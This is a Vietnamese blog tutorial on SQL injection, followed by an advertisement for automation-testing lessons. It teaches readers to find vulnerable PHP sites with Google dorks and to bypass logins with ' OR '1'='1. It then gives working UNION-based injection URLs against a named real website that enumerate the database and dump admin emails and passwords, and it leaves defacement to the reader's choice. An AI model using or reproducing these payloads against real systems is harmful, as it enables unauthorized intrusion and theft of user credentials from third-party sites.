SQL Injection là gì? Cách thức thực hiện cụ thể?

Thursday, April 27, 2017
Edit this post

sql-injection

SQL Injection là một kỹ thuật tấn công website được thực hiện bằng cách lợi dụng sự lỏng lẻo trong khâu kiểm tra dữ liệu đầu vào để chèn thêm các câu truy vấn hợp lệ nhằm lấy ra rất nhiều những thông tin nguy hiểm như tài khoản admin, thông tin cá nhân của các thành viên v.v... từ đó có thể tiến hành thay đổi giao diện trang web, xóa bài viết, ăn cắp thông tin, thậm chí xóa dữ liệu v.v...

SQL Injection hiện nay đã lỗi thời và cách phòng chống nó cũng không có gì quá phức tạp, tuy nhiên lúc mới xuất hiện thì phương pháp này cũng từng làm điêu đứng rất nhiều trang web. Tất nhiên, những giá trị học hỏi mà SQL Injection mang lại vẫn rất lớn nên người ta vẫn thực hành nó để hiểu hơn về một trong những phương pháp tấn công của giới hacker để có các biện pháp phòng vệ đúng đắn.

Lời nói đầu
Hôm nay tôi sẽ hướng dẫn các bạn cách thức tấn công ở mức cơ bản một trang web cụ thể, tấn công ở đây có nghĩa là chúng ta sẽ tìm cách để lấy được tài khoản admin của trang web. Tôi làm việc này hoàn toàn với mục đích học hỏi và chia sẻ kiến thức, hơn nữa, hầu hết các trang web có thể bị tấn công ở thời điểm này đều thuộc dạng bị bỏ rơi lâu ngày, không người chăm sóc nên việc đánh sập được nó chẳng có gì đáng để tự hào cả. Phương pháp tấn công này xin nhắc lại là đã lỗi thời, các video hướng dẫn và tài liệu về nó đầy rẫy trên mạng nên việc bạn inject thành công một trang web là việc hết sức bình thường, không có gì đáng để vỗ ngực xưng tên. Nếu bạn đã thông suốt thì chúng ta hãy bắt đầu nhé.


1. TÌM KIẾM TRANG WEB
Hiện nay thì hầu như việc lập trình website không dựa vào việc viết từng dòng code mà đều sử dụng các framework, bản thân các framework này đều đã tích hợp bảo mật ở mức cơ bản nên SQL Injection hầu như không còn đất sống nếu website được xây dựng dựa trên các framework này. Tuy vậy, vẫn còn hàng triệu website ngoài kia có thể bị lỗi này nên việc đầu tiên chúng ta phải làm là tìm một website tiềm năng để thực hành.

Việc tìm kiếm khá đơn giản, các bạn hãy vào Google và gõ dòng lệnh sau:
inurl:"product.php?id="
Lệnh này sẽ trả về các kết quả tìm kiếm là các website bán hàng được viết bằng PHP, nhiều khả năng vẫn còn dính lỗi SQL Injection.

Hoặc bạn có thể gõ:
inurl:"product.php?id=" site:vn 
Để tìm kiếm chỉ những trang web có nguồn gốc từ Việt Nam.

Ví dụ tôi tìm được một trang như sau:
http://biohd.com.vn/product_detail.php?id=158

Để biết trang này có bị lỗi hay không, tôi thêm một dấu nháy đơn vào cuối địa chỉ trang web:
http://biohd.com.vn/product_detail.php?id=158'

Nếu không thấy thông báo lỗi này và trang web vẫn load lại bình thường chứng tỏ nó đã miễn nhiễm với SQL Injection, các bạn hãy tìm trang khác, còn nếu giao diện trang web bị lỗi bất thường như sau, chứng tỏ chúng ta đã tìm được "con mồi":


Hoặc các bạn có thể vào trang login của website đó và gõ như sau vào ô Username: ' OR '1'='1. Nếu may mắn, các bạn có thể vào được thẳng trang quản trị của website mà không tốn một giọt mồ hôi.

Giải thích: các trang đăng nhập được viết bằng PHP sử dụng truy vấn có dạng như sau:

SELECT * FROM Users WHERE username = 'abc' (đây là trong trường hợp bạn nhập 'abc' vào khung đăng nhập).

Nếu các bạn nhập câu ' OR '1'='1 như trên, khi truy vấn xuống DB thì câu query sẽ trở thành:
SELECT * FROM Users WHERE username = '' OR '1'='1'

Rõ ràng bạn thấy ở đây là câu truy vấn đã trở nên luôn đúng vì '1'='1' không bao giờ sai, hệ thống sẽ không quan tâm tới việc bạn nhập username là gì, có tồn tại trong cơ sở dữ liệu hay không.

Để hiểu rõ hơn, mời xem đoạn video sau:



2. XÁC ĐỊNH SỐ CỘT TRONG BẢNG HIỆN TẠI

Tiếp tục sửa địa chỉ thành:
http://biohd.com.vn/product_detail.php?id=158 order by 5--

Đây có nghĩa là bạn sẽ inject thêm câu "order by 5--" vào phía cuối của câu SELECT cho địa chỉ này. Nó có nghĩa là sắp xếp theo cột thứ 5 của bảng, 2 ký tự "--" có nghĩa là comment, tức bỏ qua mọi lệnh phía sau đó của câu truy vấn. Nếu trang web vẫn load về bình thường, tiếp tục thay số 5 thành 6 và thử lại, nếu vẫn không được hãy tăng lên thành số 7 cho tới khi nào trang web bị lỗi hoặc trả về thông báo lỗi.

Trong trường hợp của trang này, khi tôi gõ tới:
http://biohd.com.vn/product_detail.php?id=158 order by 8--



Thì nó vẫn bình thường. Tuy nhiên khi tôi gõ tới:
http://biohd.com.vn/product_detail.php?id=158 order by 9--
Thì nó bị lỗi như sau:



Vậy tôi biết là bảng hiện tại có 8 cột.


3. XÁC ĐỊNH CỘT BỊ LỖI

Sửa địa chỉ thành:
http://biohd.com.vn/product_detail.php?id=-158 union select 1,2,3,4,5,6,7,8--
Tôi thấy hiện lên những con số 2, 3, 4 như sau:



Vậy cột 2, 3, 4 là những cột có khả năng bị lỗi.


4. XÁC ĐỊNH THÔNG TIN VERSION, TÊN DATABASE VÀ USER:

Lần lượt thay 'version()', 'database()' và 'user()' vào một trong những vị trí cột bị lỗi tìm được ở bước trên:

http://biohd.com.vn/product_detail.php?id=-158 union select 1,version(),3,4,5,6,7,8--
http://biohd.com.vn/product_detail.php?id=-158 union select 1,database(),3,4,5,6,7,8--
http://biohd.com.vn/product_detail.php?id=-158 union select 1,user(),3,4,5,6,7,8--





5. XÁC ĐỊNH TÊN CÁC TABLE TRONG DATABASE:

http://biohd.com.vn/product_detail.php?id=-158 UNION SELECT 1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8 from information_schema.tables where table_schema = database()--

Sau khi chạy địa chỉ này, tôi đặc biệt chú ý tới table 'user' vì bảng này có khả năng chứa các thông tin account quan trọng.



6. XÁC ĐỊNH TÊN CỘT TRONG BẢNG 'USER':

http://biohd.com.vn/product_detail.php?id=-158 UNION SELECT 1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8 from information_schema.columns where table_name = user--

Nếu chạy lệnh trên không được, các bạn cần chuyển đổi 'user' ở phía cuối thành MySQL Chars như sau (có thể dùng tiện ích HackBar trên Firefox):

http://biohd.com.vn/product_detail.php?id=-158 UNION SELECT 1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8 from information_schema.columns where table_name = CHAR(117, 115, 101, 114)--

Sau khi chạy lệnh này, tôi xác định bảng 'user' có 4 cột: id, password, email, role. Cái chúng ta cần ở đây rõ ràng là email và password rồi.



7. LẤY THÔNG TIN EMAIL VÀ PASSWORD:

http://biohd.com.vn/product_detail.php?id=-158 UNION SELECT 1,unhex(hex(group_concat(email,0x3a,password,0x3a))),3,4,5,6,7,8 from user--



Vậy là đã xong, tới đây các bạn có 2 lựa chọn: 1 là thông báo cho quản trị của website, 2 là tiếp tục phá phách. Nhưng hãy nhớ rằng việc phá phách không bao giờ có thể khiến bạn trở thành một hacker giỏi, ngược lại, mọi người chỉ coi bạn là trẻ trâu mà thôi. Còn việc thông báo cho ban quản trị website tôi nghĩ là cũng không thật sự cần thiết cho lắm vì ở thời buổi này mà website còn bị lỗi SQL Injection thì chứng tỏ là trang web này chẳng có ma nào thèm quan tâm. Sự lựa chọn là ở bạn.

.
Xin vui lòng chờ đợi
Dữ liệu bài viết đang được tải về

💻Nhận dạy online 1 kèm 1 Automation Test từ cơ bản tới nâng cao (From Zero to Hero) 😁😁😁
Lộ trình gồm 3 phần:
1) Kỹ thuật lập trình và tư duy lập trình cơ bản
2) Nhập môn kiểm thử (Manual Test)
3) Kiểm thử tự động (Automation Test) + Chuẩn bị cho phỏng vấn
* Lộ trình chi tiết: Xem tại đây

🎓Đối tượng người học:
- Những bạn bị mất gốc căn bản môn lập trình.
- Những bạn muốn theo con đường kiểm thử (testing), đặc biệt là kiểm thử tự động (Automation Test).

🦘Người giảng dạy:
- Mình sẽ là người trực tiếp hướng dẫn.
- Nếu là các vấn đề ngoài chuyên môn hoặc sở trường, mình sẽ nhờ các anh chị em khác cũng làm trong ngành.

🤓Giới thiệu:
- Mình đã có hơn 10 năm kinh nghiệm làm IT ở cả trong và ngoài nước. Trong đó 3 năm đầu là làm lập trình viên Java, sau đó bén duyên với mảng Automation Test và theo nghề tới tận bây giờ. Mình được đào tạo chính quy về IT từ một trường Đại học danh tiếng ở TP.HCM (hệ kỹ sư 4 năm rưỡi), có chứng chỉ ISTQB, có thể giao tiếp tốt bằng tiếng Anh và có kinh nghiệm làm việc thực tế ở cả 2 mảng Outsource và Product. Title chính thức của mình là QA Automation Engineer, tuy nhiên, mình vẫn làm những dự án cá nhân chuyên về lập trình ứng dụng như Học Tiếng Anh StreamlineSách Nhạc. Mình là người có thái độ làm việc chuyên nghiệp, chăm chỉ và luôn nhiệt tình trong công việc.

💵Chi phí và hình thức thanh toán:
- Các bạn vui lòng liên hệ qua email songtoigianvn@gmail.com (email, chat, hoặc call) để book nội dung và khung giờ học (từ 8h tối trở đi).
- Mức phí: 150.000đ/buổi, mỗi buổi 60 phút.
- Lộ trình From Zero to Hero: 4.350.000đ (29 buổi).
- Bạn có thể học riêng và đóng tiền theo từng phần nếu muốn.
- Có thể học trước 1-2 buổi trước khi quyết định đi full lộ trình hoặc từng phần.
- Thanh toán qua Momo, chuyển khoản v.v...
BÌNH LUẬN
© Copyright by CUỘC SỐNG TỐI GIẢN
Loading...